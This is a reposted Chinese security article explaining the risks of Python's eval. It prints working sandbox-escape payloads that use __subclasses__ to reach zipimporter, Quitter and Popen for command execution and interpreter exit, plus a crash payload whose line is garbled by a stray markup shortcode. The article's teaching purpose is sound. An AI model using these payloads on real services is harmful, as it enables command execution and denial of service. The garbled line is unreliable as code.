[转]Python中eval的强大与潜在风险



这两天在做项目的过程中,遇到eval这个方法,不是很会用,经过一番搜索学习,特此收藏一篇乌云网深度好文,以备以后回顾。

原文出处:WooYun - 隐形人真忙

0x00 前言


eval是Python用于执行python表达式的一个内置函数,使用eval,可以很方便的将字符串动态执行。比如下列代码:

    #!python
    >>> eval("1+2")
    3
    >>> eval("[x for x in range(10)]")
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

当内存中的内置模块含有os的话,eval同样可以做到命令执行:

    #!python
    >>> import os
    >>> eval("os.system('whoami')")
    win-20140812chjadministrator
    0

当然,eval只能执行Python的表达式类型的代码,不能直接用它进行import操作,但exec可以。如果非要使用eval进行import,则使用__import__:

    #!python
    >>> exec('import os')
    >>> eval('import os')
    Traceback (most recent call last):
      File "", line 1, in 
      File "", line 1
        import os
             ^
    SyntaxError: invalid syntax
    >>> eval("__import__('os').system('whoami')")
    win-20140812chjadministrator
    0

在实际的代码中,往往有使用客户端数据带入eval中执行的需求。比如动态模块的引入,举个栗子,一个在线爬虫平台上爬虫可能有多个并且位于不同的模块中,服务器端但往往只需要调用用户在客户端选择的爬虫类型,并通过后端的exec或者eval进行动态调用,后端编码实现非常方便。但如果对用户的请求处理不恰当,就会造成严重的安全漏洞。

0x01 “安全”使用eval


现在提倡最多的就是使用eval的后两个参数来设置函数的白名单:

Eval函数的声明为eval(expression[, globals[, locals]])

其中,第二三个参数分别指定能够在eval中使用的函数等,如果不指定,默认为globals()和locals()函数中 包含的模块和函数。

    #!python
    >>> import os
    >>> 'os' in globals()
    True
    >>> eval('os.system('whoami')')
    win-20140812chjadministrator
    0
    >>> eval('os.system('whoami')',{},{})
    Traceback (most recent call last):
      File "", line 1, in 
      File "", line 1, in 
    NameError: name 'os' is not defined

如果指定只允许调用abs函数,可以使用下面的写法:

    #!python
    >>> eval('abs(-20)',{'abs':abs},{'abs':abs})
    20
    >>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
    Traceback (most recent call last):
      File "", line 1, in 
      File "", line 1, in 
    NameError: name 'os' is not defined
    >>> eval('os.system('whoami')')
    win-20140812chjadministrator
    0

使用这种方法来防护,确实可以起到一定的作用,但是,这种处理方法可能会被绕过,从而造成其他问题!

0x02 绕过执行代码1


被绕过的情景如下,小明知道了eval会带来一定的安全风险,所以使用如下的手段去防止eval执行任意代码:

    #!python
    env = {}
    env["locals"]   = None
    env["globals"]  = None
    env["__name__"] = None
    env["__file__"] = None
    env["__builtins__"] = None

    eval(users_str, env)

Python中的__builtins__是内置模块,用来设置内置函数的模块。比如熟悉的abs,open等内置函数,都是在该模块中以字典的方式存储的,下面两种写法是等价的:

    #!python
    >>> __builtins__.abs(-20)
    20
    >>> abs(-20)
    20

我们也可以自定义内置函数,并像使用Python中的内置函数一样使用它们:

    #!python
    >>> def hello():
    ...     print 'shabi'
    >>> __builtin__.__dict__['say_hello'] = hello
    >>> say_hello()
    shabi

小明将eval函数的作用域中的内置模块设置为None,好像看起来很彻底了,但依然可以被绕过。__builtins__是__builtin__的一个引用,在__main__模块下,两者是等价的:

    #!python
    >>> id(__builtins__)
    3549136
    >>> id(__builtin__)
    3549136

根据乌云drops提到的方法,使用如下代码即可:

    #!python
    [x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上面的代码首先利用__class__和__subclasses__动态加载了object对象,这是因为eval中无法直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入,并调用其内置模块中的os模块从而实现命令执行,当然,前提是要有configobj的egg文件。 configobj模块很有意思,居然内置了os模块:

    #!python
    >>> "os" in configobj.__dict__
    True
    >>> import urllib
    >>> "os" in urllib.__dict__
    True
    >>> import urllib2
    >>> "os" in urllib2.__dict__
    True
    >>> configobj.os.system("whoami")
    win-20140812chjadministrator
    0

和configobj类似的模块如urllib,urllib2,setuptools等都有os的内置,理论上使用哪个都行。 如果无法下载egg压缩文件,可以下载带有setup.py的文件夹,加入:

    #!python
    from setuptools import setup, find_packages

就可以在dist文件夹中找到对应的egg文件。 绕过demo如下:

    #!python
    >>> env = {}
    >>> env["locals"]   = None
    >>> env["globals"]  = None
    >>> env["__name__"] = None
    >>> env["__file__"] = None
    >>> env["__builtins__"] = None
    >>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
    >>> eval(users_str, env)
    win-20140812chjadministrator
    0
    >>> eval(users_str, {}, {})
    win-20140812chjadministrator
    0

0x03 拒绝服务攻击1


object的子类中有很多有趣的东西,执行以下代码查看:

    #!python
    [x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

这里我就不输出结果了,如果你执行的话,可以看到很多有趣的模块,比如file,zipimporter,Quitter等。经过测试,file的构造函数是被解释器沙箱隔离的。 简单的,或者直接使object暴露出的子类Quitter进行退出:

    #!python
    >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
     == 'Quitter'][0](0)()", {'__builtins__':None})

    C:/>

如果运气好,遇到对方程序中导入了os等敏感模块,那么Popen就可以用,并且绕过__builins__为空的限制,栗子如下:

    #!python
    >>> import subprocess
    >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})

    >>>
    正在 Ping 127.0.0.1 具有 32 字节的数据:
    来自 127.0.0.1 的回复: 字节=32 时间>>

事实上,这种情况非常多,比如导入os模块,一般用来处理路径问题。所以说,遇到这种情况,完全可以列举大量的功能函数,来探测目标object的子类中是否含有一些危险的函数可以直接使用。

0x04 拒绝服务攻击2


同样,我们甚至可以绕过__builtins__为None,造成一次拒绝服务攻击,Payload(来自老外blog)如下:

    #!python
    >>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

运行上面的代码,Python直接crash掉了,造成拒绝服务攻击。 原理是通过嵌套的lambda来构造一片代码段,即code对象。为这个code对象分配空的栈,并给出相应的代码字符串,这里是KABOOM,在空栈上执行代码,会出现crash。构造完成后,调用fc函数即可触发,其思路不可谓不淫荡。

0x05 总结


从上面的内容我们可以看出,单单将内置模块置为空,是不够的,最好的机制是构造白名单,如果觉得比较麻烦,可以使用ast.literal_eval代替不安全的eval。

参考资料:

  • 【1】http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
  • 【2】http://drops.wooyun.org/web/7490
  • 【3】http://stackoverflow.com/questions/3513292/python-make-eval-safe

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